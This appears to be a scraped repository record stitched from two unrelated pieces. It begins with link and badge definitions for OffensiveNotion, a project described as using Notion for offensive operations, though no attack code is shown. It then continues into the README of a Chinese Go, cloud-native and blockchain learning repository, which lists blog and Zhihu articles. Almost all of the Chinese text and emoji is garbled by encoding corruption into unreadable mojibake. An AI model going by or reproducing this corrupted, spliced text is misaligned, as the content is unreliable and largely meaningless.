[repo]:https://github.com/mttaggart/OffensiveNotion "OffensiveNotion Repository โถ"
[pr]:https://github.com/mttaggart/OffensiveNotion/pulls "OffensiveNotion Pull Requests โถ"
[license]:https://github.com/mttaggart/OffensiveNotion/blob/main/LICENSE "OffensiveNotion License File โถ"
[release]:https://img.shields.io/github/v/release/mttaggart/OffensiveNotion?label=RELEASE%3A%20Toledo&style=for-the-badge
<!--
Badges
-->
[lastcommit]:https://img.shields.io/github/last-commit/mttaggart/OffensiveNotion?style=for-the-badge
[img-pr-badge]:https://img.shields.io/badge/PRs-welcome-orange.svg?style=for-the-badge&logo=data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIGlkPSJzdmcyIiB3aWR0aD0iNjQ1IiBoZWlnaHQ9IjU4NSIgdmVyc2lvbj0iMS4wIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPiA8ZyBpZD0ibGF5ZXIxIj4gIDxwYXRoIGlkPSJwYXRoMjQxNyIgZD0ibTI5Ny4zIDU1MC44N2MtMTMuNzc1LTE1LjQzNi00OC4xNzEtNDUuNTMtNzYuNDM1LTY2Ljg3NC04My43NDQtNjMuMjQyLTk1LjE0Mi03Mi4zOTQtMTI5LjE0LTEwMy43LTYyLjY4NS01Ny43Mi04OS4zMDYtMTE1LjcxLTg5LjIxNC0xOTQuMzQgMC4wNDQ1MTItMzguMzg0IDIuNjYwOC01My4xNzIgMTMuNDEtNzUuNzk3IDE4LjIzNy0zOC4zODYgNDUuMS02Ni45MDkgNzkuNDQ1LTg0LjM1NSAyNC4zMjUtMTIuMzU2IDM2LjMyMy0xNy44NDUgNzYuOTQ0LTE4LjA3IDQyLjQ5My0wLjIzNDgzIDUxLjQzOSA0LjcxOTcgNzYuNDM1IDE4LjQ1MiAzMC40MjUgMTYuNzE0IDYxLjc0IDUyLjQzNiA2OC4yMTMgNzcuODExbDMuOTk4MSAxNS42NzIgOS44NTk2LTIxLjU4NWM1NS43MTYtMTIxLjk3IDIzMy42LTEyMC4xNSAyOTUuNSAzLjAzMTYgMTkuNjM4IDM5LjA3NiAyMS43OTQgMTIyLjUxIDQuMzgwMSAxNjkuNTEtMjIuNzE1IDYxLjMwOS02NS4zOCAxMDguMDUtMTY0LjAxIDE3OS42OC02NC42ODEgNDYuOTc0LTEzNy44OCAxMTguMDUtMTQyLjk4IDEyOC4wMy01LjkxNTUgMTEuNTg4LTAuMjgyMTYgMS44MTU5LTI2LjQwOC0yNy40NjF6IiBmaWxsPSIjZGQ1MDRmIi8%2BIDwvZz48L3N2Zz4%3D
[img-license-badge]:https://img.shields.io/badge/license-mit-367588.svg?style=for-the-badge
| Notion as a platform for offensive operations | null | 7 | 6 | 83 | 548 | 13 | 7 | 1 |
cubxxw/awesome-cs-cloudnative-blockchain | # ่้ธ็ๆ้ฟๆๅ[](https://github.com/cubxxw/cs-awesome-Block_Chain)
## ๐งญ ๅฏผ่ช
+ ๐[**ๅฟซ้ๆๅ(wike) โ ไปๅบๆป็ป**](https://github.com/cubxxw/Block_Chain/wiki)
+ ๐[**ไธญๅฝๅคง้ๅ ้ๅฐๅ๏ผGiteeๅนณๅฐ๏ผ**](https://gitee.com/xxw3293172751/Block_Chain)
+ ๐ต[**ไธ้้ๅจ็บฟไธชไบบไบ็**](https://xxw.nsddd.top/s/wRSz)
<p align='center'>
<a href="https://gitee.com/xxw3293172751/Block_Chain"><img src="https://img.shields.io/badge/gitee-%40xxw3293172751-green?logo=gitee" title="ๅฝๅ
gitee้ๅๅ ้"></a>
<a href="https://wakatime.com/@c445b3c6-a2bc-43a2-a24a-0828a17244b4" title="้กน็ฎ็่ฟๅฑๆถ้ฟ" > <img src="https://wakatime.com/badge/user/c445b3c6-a2bc-43a2-a24a-0828a17244b4.svg"></a>
<a href="https://github.com/cubxxw/cs-awesome-Block_Chain/stargazers"><img alt="GitHub stars" src="https://img.shields.io/github/stars/3293172751/cs-awesome-Block_Chain?style=plastic"></a>
<a href="https://xxw.nsddd.top/s/wRSz"><img alt="ไธชไบบ็ฝ็ไธ้้" src="https://img.shields.io/badge/cloud-xiongxinwei-red?logo=iCloud" title="ไธชไบบ็ฝ็ไธ้้ไธ่ฝฝๆต่ง"></a>
<a href="https://trackgit.com"><img src="https://us-central1-trackgit-analytics.cloudfunctions.net/token/ping/la3dpo1i7zzecvro53al" alt="trackgit-views" />
</a>
</p>
<div align="center">
<a href = "https://github.com/cubxxw/cs-awesome-Block_Chain">๐
ฑ๏ธGitHub</a>
   |   
<a href="https://interview.huihut.com">๐DocCub</a>
</div>
<div align="center">
<a href = "readme_english.md">๐คEnglish</a>
   |   
<a href = "README.md">๐ไธญๆCN</a>
</div>
<br>
<details><summary><b>๐ก ๅ
ณไบ</b></summary>
<p><a href='https://www.facebook.com/profile.php?id=100034435372354'>Facebook</a> | <a href='https://telsacoin.io/'>Website</a> | <a href='http://nsddd.top'>Blog</a> | <a href='https://t.me/smile3293172751'>Telegram</a> | <a href='https://twitter.com/xxw3293172751'>Twitter</a> | <a href='https://www.linkedin.cn/injobs/in/xiongxinwei-xiong-7606a0227'>Linkedin</a> | <a href='https://liberapay.com/xiongxinwei/donate'>Donate</a></p>
<p align='center'>
<a href="https://www.linkedin.cn/injobs/in/xiongxinwei-xiong-7606a0227" target="_blank"><img src="https://img.shields.io/badge/linkedin-xiongxinwei-yellowgreen?logo=linkedin&style=flat-square"></a>
<a href="https://twitter.com/xxw3293172751" target="_blank"><img src="https://img.shields.io/badge/twitter-%40xxw3293172751-informational?logo=twitter&style=flat-square"></a>
<a href="https://www.zhihu.com/people/3293172751" target="_blank"><img src="https://img.shields.io/badge/%E7%9F%A5%E4%B9%8E-%E9%93%BE%E5%AD%A6%E8%80%85%E7%A4%BE%E5%8C%BA-blue?logo=zhihu&style=flat-square"></a>
<a href="http://sm.nsddd.top/sm0d220ad72063197b9875379403f6c88.jpg" target="_blank"><img src="https://img.shields.io/badge/%E5%BE%AE%E4%BF%A1-smile-brightgreen?logo=wechat&style=flat-square"></a>
<a href="https://space.bilibili.com/1233089591" target="_blank"><img src="https://img.shields.io/badge/b%E7%AB%99-%E6%97%A0%E4%B8%8E%E4%BC%A6%E6%AF%94%E7%9A%84%E5%BE%97%E5%BE%97-red?logo=bilibili&style=flat-square"></a>
</p>
<p align='center'>
<a href="https://weibo.com/u/6248930985" target="_blank"><img src="https://img.shields.io/badge/%E5%BE%AE%E5%8D%9A-%E6%97%A0%E4%B8%8E%E4%BC%A6%E6%AF%94%E7%9A%84%E5%BE%97%E5%BE%97-critical?style=social&logo=Sina%20Weibo"></a>
<a href="https://github.com/cubxxw" target="_blank"><img src="https://img.shields.io/badge/Github-xiongxinwei-inactive?style=social&logo=github"></a>
<a href="http://nsddd.top" target="_blank"><img src="https://img.shields.io/badge/%E5%8D%9A%E5%AE%A2-%40xiongxinwei-blue?style=social&logo=Octopus%20Deploy"></a>
</p>
</hr>
โ ๏ธ ่ฟๆฏไธไธช่้ธ็ๆ้ฟ่ฎฐๅฝ๏ผๅฆๆไฝ ไนๆณๆไธบๅทฅ็จๅธ๏ผๆณไปไบๅ็ซฏ็็ธๅ
ณๅทฅไฝ๏ผๆ่
ๆณไบ่งฃๅบๅ้พ็็ธๅ
ณ็ฅ่ฏ๏ผ้ฃไนๅฎๅฏไปฅๅธฎๅฉๅฐไฝ ๐ โ> <b>ๅๆฌข่ฏท็ปไธชโญๆถ่~</b>
๐ง ๅๆฌข*Go*่ฏญ่จ็ๆๅๆฌข่ฟๅ ๅ
ฅ*Go*่ฏญ่จ่ชๅญฆ็พค๏ผ<a target="_blank" href="https://qm.qq.com/cgi-bin/qm/qr?k=ZZnzhuU8uGmIKT5btI9uiCRpasUeD8e2&jump_from=webapi&authKey=x1/NMrS1KpK7N8Rvj4IfLcKYSWnjtElgU6a3ubin1JmtReyuoIlyE/ZJ0VRlK25n"><img border="0" src="./images/group.png" alt="GoLang/Go่ฏญ่จ/่ชๅญฆไบคๆต" title="GoLang/Go่ฏญ่จ/่ชๅญฆไบคๆต"></a>*QQ*็พคๅท๏ผ[141984758](https://qm.qq.com/cgi-bin/qm/qr?k=ZZnzhuU8uGmIKT5btI9uiCRpasUeD8e2&jump_from=webapi&authKey=x1/NMrS1KpK7N8Rvj4IfLcKYSWnjtElgU6a3ubin1JmtReyuoIlyE/ZJ0VRlK25n)๏ผ
โ๏ธ <b>ๅบๅ้พๆๆฏ๏ผไน็งฐไนไธบๅๅธๅผ่ดฆๆฌๆๆฏ๏ผ</b>๏ผๆฏไธ็งไบ่็ฝๆฐๆฎๅบๆๆฏ๏ผๅ
ถ็น็นๆฏ<font color ="gree">ๅปไธญๅฟๅ๏ผๅ
ฌๅผ้ๆ๏ผไฟกๆฏไธๅฏ็ฏกๆนๆง๏ผ้็งๅฟๅๆง๐ค</font><a href="https://github.com/C-UB">CUB้พๅญฆ็คพ</a>่ดๅๆ้ <b>ๅบๅ้พ่ชๅญฆๆ่ฒๅนณๅฐใ</b>
๐ก ไพง่พน็ฎๅฝๆฏๆๆนๅผ๏ผ[๐ DocCub ๆๆกฃ](https://go.nsddd.top)ใ๐๏ธ[Github + TOC ๅฏผ่ช](http://sm.nsddd.top/sm20221004130721.png?xxw@nsddd.top)๏ผ ๐ ็่ณไฝ ๅฏไปฅๅจ่ฟไธช็้ขๆไธ`.` โก๏ธ [่ฟๅ
ฅvscode็ผ่ฏ็ฏๅข](https://nsddd.top/archives/githubdev)
๐ฃ ๅญๅจๆฐๅญฆๅ
ฌๅผๆ ๆณๆญฃๅธธๆพ็คบ้ฎ้ข๏ผๅผบ็ๆจ่[:triangular_ruler: MathJax Plugin for Github](https://chrome.google.com/webstore/detail/mathjax-plugin-for-github/ioemnmodlmafdkllaclgeombjnmnbima) ๆไปถไฝฟ็จใ
๐ ไฟๅญไธบ PDF ๆนๅผ๏ผไฝฟ็จ Chrome ๆต่งๅจๆๅผ <a href="https://go.nsddd.top">๐ DocCub ๆๆกฃ</a> ้กต้ข๏ผ็ผฉ่ตทๅทฆไพง็ฎๅฝ-ๅณ้ฎ - ๆๅฐ - ้ๆฉ็ฎๆ ๆๅฐๆบๆฏๅฆๅญไธบPDF - ไฟๅญ โโ [๐จ๏ธไปฅGo่ฏญ่จ็ฌฌไธ่ๆๅฐๆๆ้ข่ง.pdf](./images/copy.pdf)๏ผ
๐ ไปๅบๅ
ๅฎนๅฆๆ้่ฏฏๆๆน่ฟๆฌข่ฟ [issue](https://github.com/cubxxw/cs-awesome-Block_Chain/issues) ๆ pr๏ผ[๐งทๅไธ่ดก็ฎ](https://nsddd.top/archives/contributors)๏ผๅปบ่ฎฎๆ่ฎจ่ฎบๅฏๅจ [#10](https://github.com/cubxxw/cs-awesome-Block_Chain/issues/10) ๆๅบใ็ฑไบๆฌไบบๆฐดๅนณๆ้๏ผไปๅบไธญ็็ฅ่ฏ็นๆๆฅ่ชๆฌไบบๅๅใ่ฏปไนฆ็ฌ่ฎฐใไนฆ็ฑใๅๆ็ญ๏ผ้ๅๅๅๅทฒๆ ๆๅบๅค๏ผๅฆๆ้ๆผ๏ผ่ฏท [issue](https://github.com/cubxxw/cs-awesome-Block_Chain/issues/new/choose) ๆๅบใๆฌไปๅบ้ตๅพช [CC BY-NC-SA 4.0๏ผ็ฝฒๅ - ้ๅไธๆงไฝฟ็จ - ็ธๅๆนๅผๅ
ฑไบซ๏ผ](https://github.com/huihut/interview/blob/master/LICENSE) ๅ่ฎฎ๏ผ่ฝฌ่ฝฝ่ฏทๆณจๆๅบๅค๏ผไธๅพ็จไบๅไธ็ฎ็ใ
</details>
</hr>
<br>
## ๐ฅ CubDocๆจๅบ
๐บ ๅญๅจ`GitHub`ไธๆต่งๆๆไธไฝณ๏ผ[Cub้พๅญฆ็คพ](https://github.com/C-UB)ๆจๅบ`CubDoc`ๆๆกฃๅฝขๅผ๏ผไฝฟ็จ`vuejs`ๆธฒๆ ใไฝฟ็จๅฝๅ
็ๆๅกๅจๆญๅปบ๏ผ้ๅบฆๅๅฟซ:bullettrain_front:) ใ็ฎๅๆฏๆไปฅไธ็้กน็ฎ๐๏ธ๏ผ
+ [x] [:speedboat: Go่ฏญ่จๅบ็ก-่ฟ้ถ](https://go.nsddd.top)
+ [x] [:speedboat: docker & k8s & ไบๅ็](https://docker.nsddd.top)
<br>
## ๐๏ธ My ่ฎข้
็ฒพ้
#### ๅๅฎขไธๆ
ๅๅฎขไธ้ขๅ่กจ็ๆ็ซ ๅ
ทๆ็ฌ็ซๆง๏ผๆฏๆๅไธๅผๆบ้กน็ฎไปฅๆฅ๏ผๆ่งๆๅพๆๅญฆ๏ผๅธๆ่ฟ็งๆจกๅผๅฏไปฅๆๅๅนถไธๅพไปฅๆจกไปฟใ[๐ ๆ็ๅๅฎข](https://nsddd.top/) ่ฎฐๅฝ็ๅพๅคไผ่ดจ็ๅ
ๅฎนๅผๅพไธ็๏ผๅฆๆๅธๆ่ฎข้
SSR โก๏ธ[็น่ฟ้]([https://nsddd.top/rss.xml](https://nsddd.top/posts/index.xml))
[<img align="left" alt="shenxianpeng | ZhiHu" width="22px" src="https://www.svgrepo.com/show/305628/zhihu.svg" />][zhihu]
[zhihu]: https://www.zhihu.com/people/3293172751
<a href="https://www.zhihu.com/people/3293172751" target="_blank"><img src="https://img.shields.io/badge/%E7%9F%A5%E4%B9%8E-%E9%93%BE%E5%AD%A6%E8%80%85%E7%A4%BE%E5%8C%BA-blue?logo=zhihu&style=flat-square"></a>
<a href="http://sm.nsddd.top/sm0d220ad72063197b9875379403f6c88.jpg" target="_blank"><img src="https://img.shields.io/badge/%E5%BE%AE%E4%BF%A1-smile-brightgreen?logo=wechat&style=flat-square"></a>
<details><summary><b>๐ ๆ็ๅๅฎข่ฎข้
๏ผๆฏๅจๆดๆฐโ๏ผ</b></summary>
</br>
๐ฅ ๅๅฎขไธๆ <b>ๆฏไธชๅทฅไฝๆฅ11๏ผ59่ชๅจๆดๆฐไธๆฌก๏ผactions้จ็ฝฒ๏ผ</b> ๏ผๅๆฌขๆ็ซ ๅ
ณๆณจ็น่ต๐ๅข~
<!-- My-Blog:START -->
- [ๅฉ็จ LangChain ๆกๆถ็่ฏญ่จๆจกๅๅบ็จ๏ผๅผๅ่
ๆๅ](https://nsddd.top/zh/posts/harnessing-language-model-applications-with-langchain-a-developer-is-guide/)
- [ๆข็ดขๅคงๅ่ฏญ่จๆจกๅ๏ผllm๏ผ๏ผไบบๅทฅๆบ่ฝๅจ็่งฃไธ็ๆไบบ็ฑป่ฏญ่จๆน้ข็ๅ
้](https://nsddd.top/zh/posts/exploring-large-language-models-llms-pioneering-ai-understanding-generation-human-language/)
- [ๅก้ ่ไธ้่ทฏ๏ผๅผๆบ็ฎๅ็ๆๅจไธไธไธ็ฎๅๆๅทงๆๅ](https://nsddd.top/zh/posts/crafting-your-career-pathway-a-guide-to-open-source-resume-builders-and-expert-resume-tips/)
- [่ฟๆฏไธ็ฏๆ่ไธ็ๆถฏๆป็ป็ OpenIM ๆ
้ๆๆฅๆๅ](https://nsddd.top/zh/posts/troubleshooting-guide-for-openim/)
- [ๆข็ดขๅผๆบไปฅๅๅผๆบๅไธๆจกๅผ็ ็ฉถ](https://nsddd.top/zh/posts/navigating-the-open-source-landscape/)
- [Sora Ease ๆๅ๏ผๅผๅ่
ๆๆก Sora AI ็ๅ
จ้ขๆๅ](https://nsddd.top/zh/posts/sora-ease-guide-mastering-sora-ai-for-developers/)
- [2023ๅนด๏ผๆ็ๆ
่ก่ตท็น - 2023ๅนด็ๆๆผซๆญฅๅจไธ็่พน็ผ](https://nsddd.top/zh/posts/in-2023-i-was-wandering-at-the-edge-of-the-world/)
- [Sora ๆๆฏ่ฎจ่ฎบไปฅๅๆฎ้ไบบๅๅผๅ่
ๅฆไฝๅฉ็จ Sora ๆนๅไธ็](https://nsddd.top/zh/posts/exploring-sora-technology-for-enthusiasts-and-developers/)
- [ๅๅๅ็ง๏ผ็ปๅGitHubไธGoogle Workspace็้กน็ฎ็ฎก็่บๆฏ](https://nsddd.top/zh/posts/combining-github-and-google-workspace-for-project-management/)
- [่ๅๅฅฝๅ่ฑ่ฏญๅญฆไน ็ญ็ฅ๏ผๅทฅๅ
ทไธๆๅทง่งฃๆ](https://nsddd.top/zh/posts/brain-friendly-english-learning-strategies-tools-and-techniques-explained/)
- [ๅฟๆต็ถๆ็้ญๅ๏ผไธๆณจไธๅนธ็ฆๆๆๅๆๅ](https://nsddd.top/zh/posts/flow-state/)
- [GTDไธๅ่ฑก้ๆณๅๅฎ่ทต](https://nsddd.top/zh/posts/gtd-and-the-four-quadrant-rule-practice/)
- [Go ๆบ็ ้็่ฟไบ go: ๆไปค && go ่ชๅจๅๅทฅๅ
ท](https://nsddd.top/zh/posts/directives-and-the-use-of-automation-tools/)
- [Go ่ฏญ่จไธญ็ๅนถๅ็ฑปๅๆฃๆฅไธ่ทจๅนณๅฐๅผๅ](https://nsddd.top/zh/posts/concurrent-type-checking-and-cross-platform-development-in-go/)
- [ๅ้ๆฐๆฎๅบ็ๅญฆไน ](https://nsddd.top/zh/posts/vector-database-learning/)
- [OpenIM๏ผๆๅปบ้ซๆ็็ๆฌๆงๅถๅๆต่ฏๅทฅไฝๆต็จ](https://nsddd.top/zh/posts/openim-building-an-efficient-version-control-and-testing-workflow/)
- [AIๅ
ๅนด: 2024ๅนด็ๆฐๅ
ดๆๆไธ่ถๅฟ](https://nsddd.top/zh/posts/emerging-challenges-and-trends-in-2024/)
- [ๅ้กพไธๅ็ป๏ผๆ็2023ๅนดๅบฆๆป็ปๆฅๅ](https://nsddd.top/zh/posts/2023-annual-summary-reflections-and-aspirations/)
- [ๅฏนๅผๆบๅไธๅ็ๆ่ & ๅ
จ็ๆต้ๅคงไผ๏ผGTC๏ผๅญฆไน ไปฅๅๆป็ป](https://nsddd.top/zh/posts/openim-open-source-business-journey/)
- [GitOps ๅฎ่ทต็่ฎบ๏ผKubernetes ้จ็ฝฒ็ญ็ฅๆทฑๅ
ฅ่งฃๆ](https://nsddd.top/zh/posts/gitops-practice-theory-part/)
- [็ฎก็ๅๅฐๅ็ๆง็้จ็ฝฒไธ่ฎพ่ฎก](https://nsddd.top/zh/posts/deployment-and-design-of-management-backend-and-monitoring/)
- [Hugo ็้ซ็บงๆ็จ](https://nsddd.top/zh/posts/hugo-advanced-tutorial/)
- [Kubernetes Kustomize ๅญฆไน ๆๅ](https://nsddd.top/zh/posts/kubernetes-for-kustomize-learning/)
- [่ฎพ่ฎก OpenIM ไฝฟ็จ Harbor ๆๅปบไผไธ้ๅไปๅบ](https://nsddd.top/zh/posts/openim-use-harbor-build-enterprise-mirror-repositories/)
- [่ชๅจๅๆต่ฏ็ๅญฆไน (ไธ)](https://nsddd.top/zh/posts/learn-about-automated-testing/)
- [Kubernetes ๆงๅถๅนณ้ข - Kubectl ่ฏฆ็ป่ฎฒ่งฃ](https://nsddd.top/zh/posts/deep-dive-into-the-components-of-kubernetes-kubectl/)
- [Kubernetes ๆงๅถๅนณ้ข - ่ฐๅบฆๅจ](https://nsddd.top/zh/posts/deep-dive-into-the-components-of-kubernetes-scheduler/)
- [Kubernetes ็ CNI๏ผCRI๏ผCSI ่ฏฆ่งฃ](https://nsddd.top/zh/posts/deep-dive-into-the-components-of-kubernetes-cni-csi-cri/)
- [ๆทฑๅ
ฅไบ่งฃKubernetes Kube apisserver็็ปไปถ](https://nsddd.top/zh/posts/deep-dive-into-the-components-of-kubernetes-kube-apiserver/)
- [ๆทฑๅ
ฅไบ่งฃKubernetes็ญ็ปไปถไนETCD](https://nsddd.top/zh/posts/deep-dive-into-the-components-of-kubernetes-etcd/)
- [้่ฟ้
็ฝฎๆไปถ็ฎๅ Kubernetes ้จ็ฝฒ็ๅๆฐ็ซฏๅฃ้
็ฝฎ](https://nsddd.top/zh/posts/openim-cluster-deployment-parameter-passing-policy/)
- [OpenIM ็้็พคๅ่ฎพ่ฎก | Kubernetes ้จ็ฝฒ | ๆนๆก่ฎจ่ฎบ | ไผ่ฎฎๆป็ป](https://nsddd.top/zh/posts/openim-cluster-deployment-scheme-of/)
- [ๅจๅผๆบ็คพๅบไธญๅญฆไผๅฆไฝๆ้ฎ](https://nsddd.top/zh/posts/the-art-of-asking-questions-in-open-source-communities/)
- [่ชๅจๅ็้ซ็บง่ฟฝๆฑ๏ผ Prow ๆฏไปไน๏ผKubernetes ไธบไปไน้่ฆๅฎ](https://nsddd.top/zh/posts/prow-ecological-learning/)
- [ไธไปฝๅฎๆด็ๅผๆบ่ดก็ฎๆๅ๏ผๆไพ็ป็ฌฌไธๆฌก่ธๅ
ฅๅผๆบไผไผด็ง็ฑ๏ผ](https://nsddd.top/zh/posts/open-source-contribution-guidelines/)
- [ๆ็ๅฎ่ทตๆป็ป๏ผๅผๆบ็คพๅบ็่ง่่ฎพ่ฎกๆ่ทฏ](https://nsddd.top/zh/posts/advanced-githook-design/)
- [GoReleaser๏ผ่ชๅจๅไฝ ็่ฝฏไปถๅๅธ](https://nsddd.top/zh/posts/go-release-tools/)
- [ๆ็็ฌฌไธไธชๅๅฎข](https://nsddd.top/zh/posts/my-first-blog/)
- [ๅ
ณไบๆ็ Hugo ๅๅฎข (ๆ็จ)](https://nsddd.top/zh/posts/my-hugo/)
- [้่ฏปๅผๆบ้กน็ฎ Sealos ็ๆบ็ ](https://nsddd.top/zh/posts/read-openim-project-sealos-openim-source-code/)
- [ๆๅฆไฝ่ฎพ่ฎก DevOps ไธ็ OpenIM ๆ ๅๅผๅๆต & ๆๆทไฝ็ณป & ็ฒพ็ๆจกๅผ](https://nsddd.top/zh/posts/openim-devops-design/)
- [ๆๆฏๅฆไฝไผ้
่ฎพ่ฎก OpenIM ๅค่ฟ็จ็ฎก็็ญ็ฅ็](https://nsddd.top/zh/posts/openim-multi-process-management/)
- [ๅฆไฝๅฎ่ฃ
ๅไฝฟ็จ่ชไธปไบบๅทฅๆบ่ฝๅทฅๅ
ทAuto-GPT](https://nsddd.top/zh/posts/use-auto-gpt/)
- [Go ่ฐ่ฏๆต่ฏไปฅๅ่ฐ่ฏๅทฅๅ
ท dlv ๅญฆไน ](https://nsddd.top/zh/posts/use-go-tools-dlv/)
- [Github Actions ็้ซ็บงไฝฟ็จๆๅทง](https://nsddd.top/zh/posts/github-actions-advanced-techniques/)
- [OpenIM็ฆป็บฟ้จ็ฝฒ่ฎพ่ฎก](https://nsddd.top/zh/posts/openim-offline-deployment-design/)
- [ๅผๆบ็้ถๆฎตๆงๆ้ฟๆๅ](https://nsddd.top/zh/posts/stage-growth-of-open-source/)
- [ไป็่ฎบๅฐๅฎ่ทต็้กน็ฎ็ฎก็ๆ้](https://nsddd.top/zh/posts/project-management-from-theory-to-practice/)
- [Openkf ๅคๆถๆ้ๅ็ๆๅปบ็ญ็ฅ่ฎพ่ฎก](https://nsddd.top/zh/posts/openkf-multi-architecture-image/)
- [ไธ็ฏ้็จ่ฟ็จๅทฅไฝ็็บฆๅฎๆๅ๏ผ OpenIM ่ฟ็จๅทฅไฝๅข้ๅไฝๅ่ฎฎ v1.3](https://nsddd.top/zh/posts/openim-remote-work-culture/)
- [่ทจๅนณๅฐไปฅๅๅคๆถๆ็ผ่ฏ่ฎพ่ฎก](https://nsddd.top/zh/posts/cross-platform-compilation/)
- [Kubernetesไธ็ฏๅฟซ้ๅ
ฅ้จ็ๆ็ซ ](https://nsddd.top/zh/posts/kubernetes-an-article-to-get-started-quickly/)
- [ๅไธๆไปฌ็ๅบๅ้พๅญฆไน ๅนณๅฐ้กน็ฎ](https://nsddd.top/zh/posts/participating-in-this-project/)
<!-- My-Blog:END -->
</details>
</hr>
<br>
#### ็ฅไนไธๆ
๐ฅฐ ่ฎข้
ไบๆ็ [็ฅไน่ดฆๆท](https://www.zhihu.com/people/3293172751) ้้ข็ [ไบๅ็็ฒพ้ๆ็ซ ไธๆ ](https://www.zhihu.com/column/c_1496496113348206594)ใ
</br>
<details><summary><b>๐ ๆ็็ฅไนๆ็ซ ่ฎข้
๏ผๆฏๅจๆดๆฐโ๏ผ</b></summary>
</br>
๐ฅ ็ฅไนไธๆ <b>ๆฏไธชๅทฅไฝๆฅ11๏ผ59่ชๅจๆดๆฐไธๆฌก๏ผactions้จ็ฝฒ๏ผ</b> ๏ผๅๆฌขๆ็ซ ๅ
ณๆณจ็น่ต๐ๅข~
<!-- ZHIHU:START -->
- [ไบๅ็้ขๅไธญGitHubๅผๆบGo้กน็ฎ็่ชๅจๅๆต่ฏๅฎ่ทตไธ็ญ็ฅ](https://zhuanlan.zhihu.com/p/664338584)
- [OpenIM ไฝฟ็จ Harbor ๆญๅปบไผไธ็บง้ๅไปๅบ](https://zhuanlan.zhihu.com/p/662935033)
- [OpenIM ๅค่ฟ็จ็ฎก็็ญ็ฅ](https://zhuanlan.zhihu.com/p/652047787)
- [OpenIM ็ฆป็บฟ้จ็ฝฒ](https://zhuanlan.zhihu.com/p/651917752)
- [git cherry-pick cource](https://zhuanlan.zhihu.com/p/649283181)
- [DevOps OpenIM ็ๆ ๅ่ฎพ่ฎก](https://zhuanlan.zhihu.com/p/648188241)
- [GO Gorelease](https://zhuanlan.zhihu.com/p/648187762)
- [OpenIM standardization](https://zhuanlan.zhihu.com/p/645182674)
- [ไธ็ฏๅญฆไผ github actions](https://zhuanlan.zhihu.com/p/643085910)
- [kubecub - ๅธฎๅฉ่ๆฐๆ้ ๅผๆบ้กน็ฎ](https://zhuanlan.zhihu.com/p/634020346)
- [go ่ฏญ่จๅทฅๅ
ทๅ
](https://zhuanlan.zhihu.com/p/631662028)
- [K8s ๆทฑๅ
ฅ็่งฃ Operator-client ่ฏฆ่งฃ](https://zhuanlan.zhihu.com/p/629622839)
- [Kubernetes ็คพๅบ่ง่](https://zhuanlan.zhihu.com/p/629622183)
- [้ซ็บง็ Githook ่ฎพ่ฎก](https://zhuanlan.zhihu.com/p/629617458)
- [CloudNative / Kubernetes ๅญฆไน ่ตๆบๆด็](https://zhuanlan.zhihu.com/p/614921043)
- [Istio ้ซ็บงๆต้็ฎก็](https://zhuanlan.zhihu.com/p/614775174)
- [Kubernetes ๆฆๅฟตไปฅๅๆถๆ](https://zhuanlan.zhihu.com/p/611169064)
- [ๆทฑๅ
ฅๅๆ Docker ๅบๅฑ๏ผๅ
จ๏ผ](https://zhuanlan.zhihu.com/p/610939386)
- [Go ่ฏญ่จ็ Makefile ๆๅ](https://zhuanlan.zhihu.com/p/607940899)
- [Go่ฏญ่จ้กน็ฎ่ฎพ่ฎกๅๅผๅๆต็จ](https://zhuanlan.zhihu.com/p/607192022)
<!-- ZHIHU:END -->
</details>
</hr>
<br>
## ๐ Go่ฏญ่จ
#### ๐ท๏ธๅ่จ
`Go`่ฏญ่จ็ๅญฆไน ๅ่ๅฎ็ฝๆๆกฃ[go่ฏญ่จๅฎๆน็ผ็จๆๅ](https://golang.org/#)๏ผๅฆไฝๆพๅฐๅ้็Go่ฏญ่จๅญฆไน ่ทฏ็บฟ[Go่ฏญ่จ่ทฏ็บฟ](go-advancend/go_route.md)๏ผ๐ ๅซๆๅคง้็Go่ฏญ่จ้กน็ฎ่ตๆบใ็บฟไธ่ตๆบๆถ้๏ผใ
```mermaid
graph LR
็จๅบๅๅบๆฌ็ด ๅ
ป ==> Goๅบ็ก็ฏ ==>ๅผๅๅฟ
ๅคๆๆฏ ==> Go่ฟ้ถ100็ฏ ==> Go้ซ็บง็ฏ็ซ
```
+ ๐ฑ[go่ฏญ่จๅฎๆน็ผ็จๆๅ](https://golang.org/#)
+ ๐ง[Go่ฏญ่จ่ทฏ็บฟๅ่ตๆบๅพ้(update 2023)](go-advancend/go_route.md)
#### ๐ๆ ธๅฟ
**Go่ฏญ่จ็ๆ ธๅฟ็ผ็จ็ฏ๏ผๅบ็ก้จๅ30ๅคฉ่ฎฐๅฝ๏ผ100็ฏ่ฟ้ถ๏ผ้ซ็บง็ฏๅ
ๆฌGo่ฏญ่จๅบๅฑ็ๅฎ็ฐ๏ผruntimeใ่ฐๅบฆๅจ็ๅ็ไปฅๅGo่ฏญ่จ่ฎพ่ฎกๆจกๅผ~**
โ ๏ธ ็ฎๅๅทฒๅ
จ้จ่ฟ็งป่ณ โก๏ธ [CubDoc๐งท](https://go.nsddd.top/)
+ [x] [๐ฑ๏ธGO ๅบ็ก้จๅ๐ฅ](awesome-golang/README.md)
+ [x] [๐ฑ๏ธGo่ฏญ่จ100็ฏ่ฟ้ถ๐ฅ](awesome-golang/Gomd_super/README.md)
+ [x] [๐ฑ๏ธGo ้ซ็บง็ฏ](awesome-golang/go-advancend/README.md)
+ [ ] [๐ฑ๏ธMit 6.824 ็ฌ่ฎฐ](awesome-golang/mit-6-824/README.md)
#### ๐่กฅๅ
ๅญฆไน ๅผๆบ้กน็ฎๅฏนไบๆไปฌ็ๆ้ฟ้ๅธธๅคง๏ผๆ็ปๅๆ่ชๅทฑ็ๅผๆบ็ปๅๅไบ[่ฟ็ฏ๐ฏๅผๆบไน่ทฏ๏ผ่ทจ่ถๅ
ซไธช้ถๆฎต๏ผๆๅฐฑ่กไธไฝผไฝผ่
](https://nsddd.notion.site/f8854a0f60d346d98b9eb2ccb6eaef8f)ใๅ[๐ง ๅญฆไน Kubernetes ็ๆ้ฟ่ฝจ่ฟน](https://nsddd.notion.site/CloudNative-Kubernetes-2f278e98ed274999829333272415c72d)ไธๆ ท๏ผ่ฟ็ฏๆ็ซ ๅฐไผ้ฟๆๆดๆฐ๏ผไนๅฏไปฅๅไธ่ดก็ฎ ๏ผ่กฅๅ
